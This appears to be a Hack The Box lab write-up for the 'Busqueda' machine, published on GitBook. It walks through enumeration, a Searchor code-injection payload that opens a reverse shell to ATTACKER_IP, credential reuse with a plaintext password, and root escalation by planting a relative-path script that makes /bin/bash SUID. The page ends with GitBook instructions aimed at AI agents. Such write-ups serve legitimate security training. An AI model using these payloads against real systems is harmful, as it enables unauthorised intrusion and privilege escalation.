> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-busqueda.md).
# HTB - Busqueda
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
add the domain to the hosts file and refresh the browser to access it.
i can select a search engine and search fro what ever i want, also by clicking on auto redirect it redirects automatically.
the website powered by flask and Searchor 2.4.0
searcher 2.4.0 suffers fro RCE vulnerability.
found this poc
{% embed url="" %}
```bash
', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
```
i need to send the above payload in the query parameter to get RCE.
## Shell as SVC
upgrade the shell
```bash
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
svc@busqueda:/var/www/app$ export TERM=xterm
export TERM=xterm
svc@busqueda:/var/www/app$
```
leaks the username of another user called cody.
could be a possible password for cody.
but there is no user called cody on the machine also if we observe the url it leaks a new subdomain called gitea.searcher.htb
add it to the hosts file and access it.
i can use the credentials to login into the gitea instance.
nothing interesting here.
but the password also works for SVC.
svc can run `system-checkup.py` as root.
i can run the following options on through the script
the docker-inspect expects a format i will give format as json.
i will connect to the mysql database.
hash of administrator user is leaked.
before cracking the hash there is a gitea database password leaked i will if its the password for administrator.
`administrator : yuiu1hoiu4i5ho1uh`
and successful authentication.
That `full-checkup` action is the real prize here it runs `./full-checkup.sh` as a **relative path**, not an absolute one. `subprocess.run(['./full-checkup.sh'])` will look for that script in whatever directory you're in when you invoke sudo and sudo doesn't reset your working directory. If you can write a `full-checkup.sh` in your current directory, root executes *your* script.
```bash
svc@busqueda:~$ echo -e '#!/bin/bash\nchmod +s /bin/bash' > full-checkup.sh
svc@busqueda:~$ ls
full-checkup.sh user.txt
svc@busqueda:~$ chmod +x full-checkup.sh
svc@busqueda:~$ cat full-checkup.sh
#!/bin/bash
chmod +s /bin/bash
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
svc@busqueda:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan 6 2022 /bin/bash
```
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-busqueda.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
